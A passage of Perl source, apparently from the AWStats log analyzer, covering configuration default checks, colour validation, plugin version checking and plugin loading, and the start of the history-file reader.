2700
        if ( $ShowDaysOfMonthStats !~ /[01VPHB]/ ) {
 
2701
                $ShowDaysOfMonthStats = 'VPHB';
 
2702
        }
 
2703
        if ( $ShowDaysOfWeekStats !~ /[01PHBL]/ ) { $ShowDaysOfWeekStats = 'PHBL'; }
 
2704
        if ( $ShowHoursStats !~ /[01PHBL]/ )      { $ShowHoursStats      = 'PHBL'; }
 
2705
        if ( $ShowDomainsStats !~ /[01PHB]/ )     { $ShowDomainsStats    = 'PHB'; }
 
2706
        if ( $ShowHostsStats !~ /[01PHBL]/ )      { $ShowHostsStats      = 'PHBL'; }
 
2707
 
 
2708
        if ( $ShowAuthenticatedUsers !~ /[01PHBL]/ ) {
 
2709
                $ShowAuthenticatedUsers = 0;
 
2710
        }
 
2711
        if ( $ShowRobotsStats !~ /[01HBL]/ )     { $ShowRobotsStats     = 'HBL'; }
 
2712
        if ( $ShowWormsStats !~ /[01HBL]/ )      { $ShowWormsStats      = 'HBL'; }
 
2713
        if ( $ShowEMailSenders !~ /[01HBML]/ )   { $ShowEMailSenders    = 0; }
 
2714
        if ( $ShowEMailReceivers !~ /[01HBML]/ ) { $ShowEMailReceivers  = 0; }
 
2715
        if ( $ShowSessionsStats !~ /[01]/ )      { $ShowSessionsStats   = 1; }
 
2716
        if ( $ShowPagesStats !~ /[01PBEX]/i )    { $ShowPagesStats      = 'PBEX'; }
 
2717
        if ( $ShowFileTypesStats !~ /[01HBC]/ )  { $ShowFileTypesStats  = 'HB'; }
 
2718
        if ( $ShowDownloadsStats !~ /[01HB]/ )   { $ShowDownloadsStats  = 'HB';}
 
2719
        if ( $ShowFileSizesStats !~ /[01]/ )     { $ShowFileSizesStats  = 1; }
 
2720
        if ( $ShowOSStats !~ /[01]/ )            { $ShowOSStats         = 1; }
 
2721
        if ( $ShowBrowsersStats !~ /[01]/ )      { $ShowBrowsersStats   = 1; }
 
2722
        if ( $ShowScreenSizeStats !~ /[01]/ )    { $ShowScreenSizeStats = 0; }
 
2723
        if ( $ShowOriginStats !~ /[01PH]/ )      { $ShowOriginStats     = 'PH'; }
 
2724
        if ( $ShowKeyphrasesStats !~ /[01]/ )    { $ShowKeyphrasesStats = 1; }
 
2725
        if ( $ShowKeywordsStats !~ /[01]/ )      { $ShowKeywordsStats   = 1; }
 
2726
        if ( $ShowClusterStats !~ /[01PHB]/ )    { $ShowClusterStats    = 0; }
 
2727
        if ( $ShowMiscStats !~ /[01anjdfrqwp]/ ) { $ShowMiscStats       = 'a'; }
 
2728
        if ( $ShowHTTPErrorsStats !~ /[01]/ )    { $ShowHTTPErrorsStats = 1; }
 
2729
        if ( $ShowSMTPErrorsStats !~ /[01]/ )    { $ShowSMTPErrorsStats = 0; }
 
2730
        if ( $AddDataArrayMonthStats !~ /[01]/ ) { $AddDataArrayMonthStats = 1; }
 
2731
 
 
2732
        if ( $AddDataArrayShowDaysOfMonthStats !~ /[01]/ ) {
 
2733
                $AddDataArrayShowDaysOfMonthStats = 1;
 
2734
        }
 
2735
        if ( $AddDataArrayShowDaysOfWeekStats !~ /[01]/ ) {
 
2736
                $AddDataArrayShowDaysOfWeekStats = 1;
 
2737
        }
 
2738
        if ( $AddDataArrayShowHoursStats !~ /[01]/ ) {
 
2739
                $AddDataArrayShowHoursStats = 1;
 
2740
        }
 
2741
        my @maxnboflist = (
 
2742
                'Domain',           'HostsShown',
 
2743
                'LoginShown',       'RobotShown',
 
2744
                'WormsShown',       'PageShown',
 
2745
                'OsShown',          'BrowsersShown',
 
2746
                'ScreenSizesShown', 'RefererShown',
 
2747
                'KeyphrasesShown',  'KeywordsShown',
 
2748
                'EMailsShown',          'DownloadsShown'
 
2749
        );
 
2750
        my @maxnboflistdefaultval =
 
2751
          ( 10, 10, 10, 10, 5, 10, 10, 10, 5, 10, 10, 10, 20 );
 
2752
        foreach my $i ( 0 .. ( @maxnboflist - 1 ) ) {
 
2753
                if (   !$MaxNbOf{ $maxnboflist[$i] }
 
2754
                        || $MaxNbOf{ $maxnboflist[$i] } !~ /^\d+$/
 
2755
                        || $MaxNbOf{ $maxnboflist[$i] } < 1 )
 
2756
                {
 
2757
                        $MaxNbOf{ $maxnboflist[$i] } = $maxnboflistdefaultval[$i];
 
2758
                }
 
2759
        }
 
2760
        my @minhitlist = (
 
2761
                'Domain',     'Host',  'Login',     'Robot',
 
2762
                'Worm',       'File',  'Os',        'Browser',
 
2763
                'ScreenSize', 'Refer', 'Keyphrase', 'Keyword',
 
2764
                'EMail',          'Downloads'
 
2765
        );
 
2766
        my @minhitlistdefaultval = ( 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 );
 
2767
        foreach my $i ( 0 .. ( @minhitlist - 1 ) ) {
 
2768
                if (   !$MinHit{ $minhitlist[$i] }
 
2769
                        || $MinHit{ $minhitlist[$i] } !~ /^\d+$/
 
2770
                        || $MinHit{ $minhitlist[$i] } < 1 )
 
2771
                {
 
2772
                        $MinHit{ $minhitlist[$i] } = $minhitlistdefaultval[$i];
 
2773
                }
 
2774
        }
 
2775
        if ( $FirstDayOfWeek !~ /[01]/ )   { $FirstDayOfWeek   = 1; }
 
2776
        if ( $UseFramesWhenCGI !~ /[01]/ ) { $UseFramesWhenCGI = 1; }
 
2777
        if ( $DetailedReportsOnNewWindows !~ /[012]/ ) {
 
2778
                $DetailedReportsOnNewWindows = 1;
 
2779
        }
 
2780
        if ( $ShowLinksOnUrl !~ /[01]/ ) { $ShowLinksOnUrl = 1; }
 
2781
        if ( $MaxLengthOfShownURL !~ /^\d+/ || $MaxLengthOfShownURL < 1 ) {
 
2782
                $MaxLengthOfShownURL = 64;
 
2783
        }
 
2784
        if ( $ShowLinksToWhoIs !~ /[01]/ ) { $ShowLinksToWhoIs = 0; }
 
2785
        $Logo     ||= 'awstats_logo6.png';
 
2786
        $LogoLink ||= 'http://awstats.sourceforge.net';
 
2787
        if ( $BarWidth !~ /^\d+/  || $BarWidth < 1 )  { $BarWidth  = 260; }
 
2788
        if ( $BarHeight !~ /^\d+/ || $BarHeight < 1 ) { $BarHeight = 90; }
 
2789
        $color_Background =~ s/#//g;
 
2790
        if ( $color_Background !~ /^[0-9|A-H]+$/i ) {
 
2791
                $color_Background = 'FFFFFF';
 
2792
        }
 
2793
        $color_TableBGTitle =~ s/#//g;
 
2794
 
 
2795
        if ( $color_TableBGTitle !~ /^[0-9|A-H]+$/i ) {
 
2796
                $color_TableBGTitle = 'CCCCDD';
 
2797
        }
 
2798
        $color_TableTitle =~ s/#//g;
 
2799
        if ( $color_TableTitle !~ /^[0-9|A-H]+$/i ) {
 
2800
                $color_TableTitle = '000000';
 
2801
        }
 
2802
        $color_TableBG =~ s/#//g;
 
2803
        if ( $color_TableBG !~ /^[0-9|A-H]+$/i ) { $color_TableBG = 'CCCCDD'; }
 
2804
        $color_TableRowTitle =~ s/#//g;
 
2805
        if ( $color_TableRowTitle !~ /^[0-9|A-H]+$/i ) {
 
2806
                $color_TableRowTitle = 'FFFFFF';
 
2807
        }
 
2808
        $color_TableBGRowTitle =~ s/#//g;
 
2809
        if ( $color_TableBGRowTitle !~ /^[0-9|A-H]+$/i ) {
 
2810
                $color_TableBGRowTitle = 'ECECEC';
 
2811
        }
 
2812
        $color_TableBorder =~ s/#//g;
 
2813
        if ( $color_TableBorder !~ /^[0-9|A-H]+$/i ) {
 
2814
                $color_TableBorder = 'ECECEC';
 
2815
        }
 
2816
        $color_text =~ s/#//g;
 
2817
        if ( $color_text !~ /^[0-9|A-H]+$/i ) { $color_text = '000000'; }
 
2818
        $color_textpercent =~ s/#//g;
 
2819
        if ( $color_textpercent !~ /^[0-9|A-H]+$/i ) {
 
2820
                $color_textpercent = '606060';
 
2821
        }
 
2822
        $color_titletext =~ s/#//g;
 
2823
        if ( $color_titletext !~ /^[0-9|A-H]+$/i ) { $color_titletext = '000000'; }
 
2824
        $color_weekend =~ s/#//g;
 
2825
        if ( $color_weekend !~ /^[0-9|A-H]+$/i ) { $color_weekend = 'EAEAEA'; }
 
2826
        $color_link =~ s/#//g;
 
2827
        if ( $color_link !~ /^[0-9|A-H]+$/i ) { $color_link = '0011BB'; }
 
2828
        $color_hover =~ s/#//g;
 
2829
        if ( $color_hover !~ /^[0-9|A-H]+$/i ) { $color_hover = '605040'; }
 
2830
        $color_other =~ s/#//g;
 
2831
        if ( $color_other !~ /^[0-9|A-H]+$/i ) { $color_other = '666688'; }
 
2832
        $color_u =~ s/#//g;
 
2833
        if ( $color_u !~ /^[0-9|A-H]+$/i ) { $color_u = 'FFA060'; }
 
2834
        $color_v =~ s/#//g;
 
2835
        if ( $color_v !~ /^[0-9|A-H]+$/i ) { $color_v = 'F4F090'; }
 
2836
        $color_p =~ s/#//g;
 
2837
        if ( $color_p !~ /^[0-9|A-H]+$/i ) { $color_p = '4477DD'; }
 
2838
        $color_h =~ s/#//g;
 
2839
        if ( $color_h !~ /^[0-9|A-H]+$/i ) { $color_h = '66EEFF'; }
 
2840
        $color_k =~ s/#//g;
 
2841
        if ( $color_k !~ /^[0-9|A-H]+$/i ) { $color_k = '2EA495'; }
 
2842
        $color_s =~ s/#//g;
 
2843
        if ( $color_s !~ /^[0-9|A-H]+$/i ) { $color_s = '8888DD'; }
 
2844
        $color_e =~ s/#//g;
 
2845
        if ( $color_e !~ /^[0-9|A-H]+$/i ) { $color_e = 'CEC2E8'; }
 
2846
        $color_x =~ s/#//g;
 
2847
        if ( $color_x !~ /^[0-9|A-H]+$/i ) { $color_x = 'C1B2E2'; }
 
2848
 
 
2849
        # Correct param if default value is asked
 
2850
        if ( $ShowSummary            eq '1' ) { $ShowSummary            = 'UVPHB'; }
 
2851
        if ( $ShowMonthStats         eq '1' ) { $ShowMonthStats         = 'UVPHB'; }
 
2852
        if ( $ShowDaysOfMonthStats   eq '1' ) { $ShowDaysOfMonthStats   = 'VPHB'; }
 
2853
        if ( $ShowDaysOfWeekStats    eq '1' ) { $ShowDaysOfWeekStats    = 'PHBL'; }
 
2854
        if ( $ShowHoursStats         eq '1' ) { $ShowHoursStats         = 'PHBL'; }
 
2855
        if ( $ShowDomainsStats       eq '1' ) { $ShowDomainsStats       = 'PHB'; }
 
2856
        if ( $ShowHostsStats         eq '1' ) { $ShowHostsStats         = 'PHBL'; }
 
2857
        if ( $ShowEMailSenders       eq '1' ) { $ShowEMailSenders       = 'HBML'; }
 
2858
        if ( $ShowEMailReceivers     eq '1' ) { $ShowEMailReceivers     = 'HBML'; }
 
2859
        if ( $ShowAuthenticatedUsers eq '1' ) { $ShowAuthenticatedUsers = 'PHBL'; }
 
2860
        if ( $ShowRobotsStats        eq '1' ) { $ShowRobotsStats        = 'HBL'; }
 
2861
        if ( $ShowWormsStats         eq '1' ) { $ShowWormsStats         = 'HBL'; }
 
2862
        if ( $ShowPagesStats         eq '1' ) { $ShowPagesStats         = 'PBEX'; }
 
2863
        if ( $ShowFileTypesStats     eq '1' ) { $ShowFileTypesStats     = 'HB'; }
 
2864
        if ( $ShowDownloadsStats     eq '1' ) { $ShowDownloadsStats     = 'HB';}
 
2865
        if ( $ShowOriginStats        eq '1' ) { $ShowOriginStats        = 'PH'; }
 
2866
        if ( $ShowClusterStats       eq '1' ) { $ShowClusterStats       = 'PHB'; }
 
2867
        if ( $ShowMiscStats eq '1' ) { $ShowMiscStats = 'anjdfrqwp'; }
 
2868
 
 
2869
# Convert extra sections data into @ExtraConditionType, @ExtraConditionTypeVal...
 
2870
        foreach my $extranum ( 1 .. @ExtraName - 1 ) {
 
2871
                my $part = 0;
 
2872
                foreach my $conditioncouple (
 
2873
                        split( /\s*\|\|\s*/, $ExtraCondition[$extranum] ) )
 
2874
                {
 
2875
                        my ( $conditiontype, $conditiontypeval ) =
 
2876
                          split( /[,:]/, $conditioncouple, 2 );
 
2877
                        $ExtraConditionType[$extranum][$part] = $conditiontype;
 
2878
                        if ( $conditiontypeval =~ /^REGEX\[(.*)\]$/i ) {
 
2879
                                $conditiontypeval = $1;
 
2880
                        }
 
2881
 
 
2882
                        #else { $conditiontypeval=quotemeta($conditiontypeval); }
 
2883
                        $ExtraConditionTypeVal[$extranum][$part] = qr/$conditiontypeval/i;
 
2884
                        $part++;
 
2885
                }
 
2886
                $part = 0;
 
2887
                foreach my $rowkeycouple (
 
2888
                        split( /\s*\|\|\s*/, $ExtraFirstColumnValues[$extranum] ) )
 
2889
                {
 
2890
                        my ( $rowkeytype, $rowkeytypeval ) =
 
2891
                          split( /[,:]/, $rowkeycouple, 2 );
 
2892
                        $ExtraFirstColumnValuesType[$extranum][$part] = $rowkeytype;
 
2893
                        if ( $rowkeytypeval =~ /^REGEX\[(.*)\]$/i ) { $rowkeytypeval = $1; }
 
2894
 
 
2895
                        #else { $rowkeytypeval=quotemeta($rowkeytypeval); }
 
2896
                        $ExtraFirstColumnValuesTypeVal[$extranum][$part] =
 
2897
                          qr/$rowkeytypeval/i;
 
2898
                        $part++;
 
2899
                }
 
2900
        }
 
2901
 
 
2902
        # Show definitive value for major parameters
 
2903
        if ($Debug) {
 
2904
                debug( " LogFile='$LogFile'",               2 );
 
2905
                debug( " LogFormat='$LogFormat'",           2 );
 
2906
                debug( " LogSeparator='$LogSeparator'",     2 );
 
2907
                debug( " DNSLookup='$DNSLookup'",           2 );
 
2908
                debug( " DirData='$DirData'",               2 );
 
2909
                debug( " DirCgi='$DirCgi'",                 2 );
 
2910
                debug( " DirIcons='$DirIcons'",             2 );
 
2911
                debug( " SiteDomain='$SiteDomain'",         2 );
 
2912
                debug( " MiscTrackerUrl='$MiscTrackerUrl'", 2 );
 
2913
                foreach ( keys %MaxNbOf ) { debug( " MaxNbOf{$_}=$MaxNbOf{$_}", 2 ); }
 
2914
                foreach ( keys %MinHit )  { debug( " MinHit{$_}=$MinHit{$_}",   2 ); }
 
2915
 
 
2916
                foreach my $extranum ( 1 .. @ExtraName - 1 ) {
 
2917
                        debug(
 
2918
                                " ExtraCodeFilter[$extranum] is array "
 
2919
                                  . join( ',', @{ $ExtraCodeFilter[$extranum] } ),
 
2920
                                2
 
2921
                        );
 
2922
                        debug(
 
2923
                                " ExtraConditionType[$extranum] is array "
 
2924
                                  . join( ',', @{ $ExtraConditionType[$extranum] } ),
 
2925
                                2
 
2926
                        );
 
2927
                        debug(
 
2928
                                " ExtraConditionTypeVal[$extranum] is array "
 
2929
                                  . join( ',', @{ $ExtraConditionTypeVal[$extranum] } ),
 
2930
                                2
 
2931
                        );
 
2932
                        debug(
 
2933
                                " ExtraFirstColumnFunction[$extranum] is array "
 
2934
                                  . join( ',', @{ $ExtraFirstColumnFunction[$extranum] } ),
 
2935
                                2
 
2936
                        );
 
2937
                        debug(
 
2938
                                " ExtraFirstColumnValuesType[$extranum] is array "
 
2939
                                  . join( ',', @{ $ExtraFirstColumnValuesType[$extranum] } ),
 
2940
                                2
 
2941
                        );
 
2942
                        debug(
 
2943
                                " ExtraFirstColumnValuesTypeVal[$extranum] is array "
 
2944
                                  . join( ',', @{ $ExtraFirstColumnValuesTypeVal[$extranum] } ),
 
2945
                                2
 
2946
                        );
 
2947
                }
 
2948
        }
 
2949
 
 
2950
# Deny URLWithQueryWithOnlyFollowingParameters and URLWithQueryWithoutFollowingParameters both set
 
2951
        if ( @URLWithQueryWithOnly && @URLWithQueryWithout ) {
 
2952
                error(
 
2953
"URLWithQueryWithOnlyFollowingParameters and URLWithQueryWithoutFollowingParameters can't be both set at the same time"
 
2954
                );
 
2955
        }
 
2956
 
 
2957
        # Deny $ShowHTTPErrorsStats and $ShowSMTPErrorsStats both set
 
2958
        if ( $ShowHTTPErrorsStats && $ShowSMTPErrorsStats ) {
 
2959
                error(
 
2960
"ShowHTTPErrorsStats and ShowSMTPErrorsStats can't be both set at the same time"
 
2961
                );
 
2962
        }
 
2963
 
 
2964
  # Deny LogFile if contains a pipe and PurgeLogFile || ArchiveLogRecords set on
 
2965
        if ( ( $PurgeLogFile || $ArchiveLogRecords ) && $LogFile =~ /\|\s*$/ ) {
 
2966
                error(
 
2967
"A pipe in log file name is not allowed if PurgeLogFile and ArchiveLogRecords are not set to 0"
 
2968
                );
 
2969
        }
 
2970
 
 
2971
        # If not a migrate, check if DirData is OK
 
2972
        if ( !$MigrateStats && !-d $DirData ) {
 
2973
                if ($CreateDirDataIfNotExists) {
 
2974
                        if ($Debug) { debug( " Make directory $DirData", 2 ); }
 
2975
                        my $mkdirok = mkdir "$DirData", 0755;
 
2976
                        if ( !$mkdirok ) {
 
2977
                                error(
 
2978
"$PROG failed to create directory DirData (DirData=\"$DirData\", CreateDirDataIfNotExists=$CreateDirDataIfNotExists)."
 
2979
                                );
 
2980
                        }
 
2981
                }
 
2982
                else {
 
2983
                        error(
 
2984
"AWStats database directory defined in config file by 'DirData' parameter ($DirData) does not exist or is not writable."
 
2985
                        );
 
2986
                }
 
2987
        }
 
2988
 
 
2989
        if ( $LogType eq 'S' ) { $NOTSORTEDRECORDTOLERANCE = 1000000; }
 
2990
}
 
2991
 
 
2992
#------------------------------------------------------------------------------
 
2993
# Function:     Common function used by init function of plugins
 
2994
# Parameters:   AWStats version required by plugin
 
2995
# Input:                $VERSION
 
2996
# Output:               None
 
2997
# Return:               '' if ok, "Error: xxx" if error
 
2998
#------------------------------------------------------------------------------
 
2999
sub Check_Plugin_Version {
 
3000
        my $PluginNeedAWStatsVersion = shift;
 
3001
        if ( !$PluginNeedAWStatsVersion ) { return 0; }
 
3002
        $VERSION =~ /^(\d+)\.(\d+)/;
 
3003
        my $numAWStatsVersion = ( $1 * 1000 ) + $2;
 
3004
        $PluginNeedAWStatsVersion =~ /^(\d+)\.(\d+)/;
 
3005
        my $numPluginNeedAWStatsVersion = ( $1 * 1000 ) + $2;
 
3006
        if ( $numPluginNeedAWStatsVersion > $numAWStatsVersion ) {
 
3007
                return
 
3008
"Error: AWStats version $PluginNeedAWStatsVersion or higher is required. Detected $VERSION.";
 
3009
        }
 
3010
        return '';
 
3011
}
 
3012
 
 
3013
#------------------------------------------------------------------------------
 
3014
# Function:     Return a checksum for an array of string
 
3015
# Parameters:   Array of string
 
3016
# Input:                None
 
3017
# Output:               None
 
3018
# Return:               Checksum number
 
3019
#------------------------------------------------------------------------------
 
3020
sub CheckSum {
 
3021
        my $string   = shift;
 
3022
        my $checksum = 0;
 
3023
 
 
3024
        #       use MD5;
 
3025
        #       $checksum = MD5->hexhash($string);
 
3026
        my $i = 0;
 
3027
        my $j = 0;
 
3028
        while ( $i < length($string) ) {
 
3029
                my $c = substr( $string, $i, 1 );
 
3030
                $checksum += ( ord($c) << ( 8 * $j ) );
 
3031
                if ( $j++ > 3 ) { $j = 0; }
 
3032
                $i++;
 
3033
        }
 
3034
        return $checksum;
 
3035
}
 
3036
 
 
3037
#------------------------------------------------------------------------------
 
3038
# Function:     Load plugins files
 
3039
# Parameters:   None
 
3040
# Input:                $DIR @PluginsToLoad
 
3041
# Output:               None
 
3042
# Return:               None
 
3043
#------------------------------------------------------------------------------
 
3044
sub Read_Plugins {
 
3045
 
 
3046
# Check plugin files in common possible directories :
 
3047
# Windows and standard package:                 "$DIR/plugins" (plugins in same dir than awstats.pl)
 
3048
# Redhat :                                  "/usr/local/awstats/wwwroot/cgi-bin/plugins"
 
3049
# Debian package :                              "/usr/share/awstats/plugins"
 
3050
        my @PossiblePluginsDir = (
 
3051
                "$DIR/plugins",
 
3052
                "/usr/local/awstats/wwwroot/cgi-bin/plugins",
 
3053
                "/usr/share/awstats/plugins"
 
3054
        );
 
3055
        my %DirAddedInINC = ();
 
3056
 
 
3057
#Removed for security reason
 
3058
#foreach my $key (keys %NoLoadPlugin) { if ($NoLoadPlugin{$key} < 0) { push @PluginsToLoad, $key; } }
 
3059
        if ($Debug) {
 
3060
                debug(
 
3061
                        "Call to Read_Plugins with list: " . join( ',', @PluginsToLoad ) );
 
3062
        }
 
3063
        foreach my $plugininfo (@PluginsToLoad) {
 
3064
                my ( $pluginfile, $pluginparam ) = split( /\s+/, $plugininfo, 2 );
 
3065
                $pluginparam ||=
 
3066
                  "";    # If split has only on part, pluginparam is not initialized
 
3067
        $pluginfile =~ s/\.pm$//i;
 
3068
                $pluginfile =~ /([^\/\\]+)$/;
 
3069
                $pluginfile = Sanitize($1);     # pluginfile is cleaned from any path for security reasons and from .pm
 
3070
                my $pluginname = $pluginfile;
 
3071
                if ( $NoLoadPlugin{$pluginname} && $NoLoadPlugin{$pluginname} > 0 ) {
 
3072
                        if ($Debug) {
 
3073
                                debug(
 
3074
" Plugin load for '$pluginfile' has been disabled from parameters"
 
3075
                                );
 
3076
                        }
 
3077
                        next;
 
3078
                }
 
3079
                if ($pluginname) {
 
3080
                        if ( !$PluginsLoaded{'init'}{"$pluginname"} )
 
3081
                        {                   # Plugin not already loaded
 
3082
                                my %pluginisfor = (
 
3083
                                        'timehires'            => 'u',
 
3084
                                        'ipv6'                 => 'u',
 
3085
                                        'hashfiles'            => 'u',
 
3086
                                        'geoipfree'            => 'u',
 
3087
                                        'geoip'                => 'ou',
 
3088
                                        'geoip_region_maxmind' => 'mou',
 
3089
                                        'geoip_city_maxmind'   => 'mou',
 
3090
                                        'geoip_isp_maxmind'    => 'mou',
 
3091
                                        'geoip_org_maxmind'    => 'mou',
 
3092
                                        'timezone'             => 'ou',
 
3093
                                        'decodeutfkeys'        => 'o',
 
3094
                                        'hostinfo'             => 'o',
 
3095
                                        'rawlog'               => 'o',
 
3096
                                        'userinfo'             => 'o',
 
3097
                                        'urlalias'             => 'o',
 
3098
                                        'tooltips'             => 'o'
 
3099
                                );
 
3100
                                if ( $pluginisfor{$pluginname} )
 
3101
                                {    # If it's a known plugin, may be we don't need to load it
 
3102
                                         # Do not load "menu handler plugins" if output only and mainleft frame
 
3103
                                        if (   !$UpdateStats
 
3104
                                                && scalar keys %HTMLOutput
 
3105
                                                && $FrameName eq 'mainleft'
 
3106
                                                && $pluginisfor{$pluginname} !~ /m/ )
 
3107
                                        {
 
3108
                                                $PluginsLoaded{'init'}{"$pluginname"} = 1;
 
3109
                                                next;
 
3110
                                        }
 
3111
 
 
3112
                                        # Do not load "update plugins" if output only
 
3113
                                        if (   !$UpdateStats
 
3114
                                                && scalar keys %HTMLOutput
 
3115
                                                && $pluginisfor{$pluginname} !~ /o/ )
 
3116
                                        {
 
3117
                                                $PluginsLoaded{'init'}{"$pluginname"} = 1;
 
3118
                                                next;
 
3119
                                        }
 
3120
 
 
3121
                                        # Do not load "output plugins" if update only
 
3122
                                        if (   $UpdateStats
 
3123
                                                && !scalar keys %HTMLOutput
 
3124
                                                && $pluginisfor{$pluginname} !~ /u/ )
 
3125
                                        {
 
3126
                                                $PluginsLoaded{'init'}{"$pluginname"} = 1;
 
3127
                                                next;
 
3128
                                        }
 
3129
                                }
 
3130
 
 
3131
                                # Load plugin
 
3132
                                foreach my $dir (@PossiblePluginsDir) {
 
3133
                                        my $searchdir = $dir;
 
3134
                                        if (   $searchdir
 
3135
                                                && ( !( $searchdir =~ /\/$/ ) )
 
3136
                                                && ( !( $searchdir =~ /\\$/ ) ) )
 
3137
                                        {
 
3138
                                                $searchdir .= "/";
 
3139
                                        }
 
3140
                                        my $pluginpath = "${searchdir}${pluginfile}.pm";
 
3141
                                        if ( -s "$pluginpath" ) {
 
3142
                                                $PluginDir = "${searchdir}";    # Set plugin dir
 
3143
                                                if ($Debug) {
 
3144
                                                        debug(
 
3145
" Try to init plugin '$pluginname' ($pluginpath) with param '$pluginparam'",
 
3146
                                                                1
 
3147
                                                        );
 
3148
                                                }
 
3149
                                                if ( !$DirAddedInINC{"$dir"} ) {
 
3150
                                                        push @INC, "$dir";
 
3151
                                                        $DirAddedInINC{"$dir"} = 1;
 
3152
                                                }
 
3153
                                                my $loadret = 0;
 
3154
                                                my $modperl = $ENV{"MOD_PERL"}
 
3155
                                                  ? eval {
 
3156
                                                        require mod_perl;
 
3157
                                                        $mod_perl::VERSION >= 1.99 ? 2 : 1;
 
3158
                                                  }
 
3159
                                                  : 0;
 
3160
                                                if ( $modperl == 2 ) {
 
3161
                                                        $loadret = require "$pluginpath";
 
3162
                                                }
 
3163
                                                else { $loadret = require "$pluginfile.pm"; }
 
3164
                                                if ( !$loadret || $loadret =~ /^error/i ) {
 
3165
 
 
3166
                                                        # Load failed, we stop here
 
3167
                                                        error(
 
3168
"Plugin load for plugin '$pluginname' failed with return code: $loadret"
 
3169
                                                        );
 
3170
                                                }
 
3171
                                                my $ret;    # To get init return
 
3172
                                                my $initfunction =
 
3173
                                                  "\$ret=Init_$pluginname('$pluginparam')";
 
3174
                                                my $initret = eval("$initfunction");
 
3175
                                                if ( $initret && $initret eq 'xxx' ) {
 
3176
                                                        $initret =
 
3177
'Error: The PluginHooksFunctions variable defined in plugin file does not contain list of hooked functions';
 
3178
                                                }
 
3179
                                                if ( !$initret || $initret =~ /^error/i ) {
 
3180
 
 
3181
                                                        # Init function failed, we stop here
 
3182
                                                        error(
 
3183
"Plugin init for plugin '$pluginname' failed with return code: "
 
3184
                                                                  . (
 
3185
                                                                        $initret
 
3186
                                                                        ? "$initret"
 
3187
                                                                        : "$@ (A module required by plugin might be missing)."
 
3188
                                                                  )
 
3189
                                                        );
 
3190
                                                }
 
3191
 
 
3192
                                                # Plugin load and init successfull
 
3193
                                                foreach my $elem ( split( /\s+/, $initret ) ) {
 
3194
 
 
3195
                                                        # Some functions can only be plugged once
 
3196
                                                        my @uniquefunc = (
 
3197
                                                                'GetCountryCodeByName',
 
3198
                                                                'GetCountryCodeByAddr',
 
3199
                                                                'ChangeTime',
 
3200
                                                                'GetTimeZoneTitle',
 
3201
                                                                'GetTime',
 
3202
                                                                'SearchFile',
 
3203
                                                                'LoadCache',
 
3204
                                                                'SaveHash',
 
3205
                                                                'ShowMenu'
 
3206
                                                        );
 
3207
                                                        my $isuniquefunc = 0;
 
3208
                                                        foreach my $function (@uniquefunc) {
 
3209
                                                                if ( "$elem" eq "$function" ) {
 
3210
 
 
3211
        # We try to load a 'unique' function, so we check and stop if already loaded
 
3212
                                                                        foreach my $otherpluginname (
 
3213
                                                                                keys %{ $PluginsLoaded{"$elem"} } )
 
3214
                                                                        {
 
3215
                                                                                error(
 
3216
"Conflict between plugin '$pluginname' and '$otherpluginname'. They both implements the 'must be unique' function '$elem'.\nYou must choose between one of them. Using together is not possible."
 
3217
                                                                                );
 
3218
                                                                        }
 
3219
                                                                        $isuniquefunc = 1;
 
3220
                                                                        last;
 
3221
                                                                }
 
3222
                                                        }
 
3223
                                                        if ($isuniquefunc) {
 
3224
 
 
3225
                           # TODO Use $PluginsLoaded{"$elem"}="$pluginname"; for unique func
 
3226
                                                                $PluginsLoaded{"$elem"}{"$pluginname"} = 1;
 
3227
                                                        }
 
3228
                                                        else { $PluginsLoaded{"$elem"}{"$pluginname"} = 1; }
 
3229
                                                        if ( "$elem" =~ /SectionInitHashArray/ ) {
 
3230
                                                                $AtLeastOneSectionPlugin = 1;
 
3231
                                                        }
 
3232
                                                }
 
3233
                                                $PluginsLoaded{'init'}{"$pluginname"} = 1;
 
3234
                                                if ($Debug) {
 
3235
                                                        debug(
 
3236
" Plugin '$pluginname' now hooks functions '$initret'",
 
3237
                                                                1
 
3238
                                                        );
 
3239
                                                }
 
3240
                                                last;
 
3241
                                        }
 
3242
                                }
 
3243
                                if ( !$PluginsLoaded{'init'}{"$pluginname"} ) {
 
3244
                                        error(
 
3245
"AWStats config file contains a directive to load plugin \"$pluginname\" (LoadPlugin=\"$plugininfo\") but AWStats can't open plugin file \"$pluginfile.pm\" for read.\nCheck if file is in \""
 
3246
                                                  . ( $PossiblePluginsDir[0] )
 
3247
                                                  . "\" directory and is readable." );
 
3248
                                }
 
3249
                        }
 
3250
                        else {
 
3251
                                warning(
 
3252
"Warning: Tried to load plugin \"$pluginname\" twice. Fix config file."
 
3253
                                );
 
3254
                        }
 
3255
                }
 
3256
                else {
 
3257
                        error("Plugin \"$pluginfile\" is not a valid plugin name.");
 
3258
                }
 
3259
        }
 
3260
 
 
3261
# In output mode, geo ip plugins are not loaded, so message changes are done here (can't be done in plugin init function)
 
3262
        if (   $PluginsLoaded{'init'}{'geoip'}
 
3263
                || $PluginsLoaded{'init'}{'geoipfree'} )
 
3264
        {
 
3265
                $Message[17] = $Message[25] = $Message[148];
 
3266
        }
 
3267
}
 
3268
 
 
3269
#------------------------------------------------------------------------------
 
3270
# Function:             Read history file and create or update tmp history file
 
3271
# Parameters:   year,month,day,hour,withupdate,withpurge,part_to_load[,lastlinenb,lastlineoffset,lastlinechecksum]
 
3272
# Input:                $DirData $PROG $FileSuffix $LastLine $DatabaseBreak
 
3273
# Output:               None
 
3274
# Return:               Tmp history file name created/updated or '' if withupdate is 0
 
3275
#------------------------------------------------------------------------------
 
3276
sub Read_History_With_TmpUpdate {
 
3277
 
 
3278
        my $year  = sprintf( "%04i", shift || 0 );
 
3279
        my $month = sprintf( "%02i", shift || 0 );
 
3280
        my $day   = shift;
 
3281
        if ( $day ne '' ) { $day = sprintf( "%02i", $day ); }
 
3282
        my $hour = shift;
 
3283
        if ( $hour ne '' ) { $hour = sprintf( "%02i", $hour ); }
 
3284
        my $withupdate = shift || 0;
 
3285
        my $withpurge  = shift || 0;
 
3286
        my $part       = shift || '';
 
3287
 
 
3288
        my ( $date, $filedate ) = ( '', '' );
 
3289
        if ( $DatabaseBreak eq 'month' ) {
 
3290
                $date     = sprintf( "%04i%02i", $year,  $month );
 
3291
                $filedate = sprintf( "%02i%04i", $month, $year );
 
3292
        }
 
3293
        elsif ( $DatabaseBreak eq 'year' ) {
 
3294
                $date     = sprintf( "%04i%", $year );
 
3295
                $filedate = sprintf( "%04i",  $year );
 
3296
        }
 
3297
        elsif ( $DatabaseBreak eq 'day' ) {
 
3298
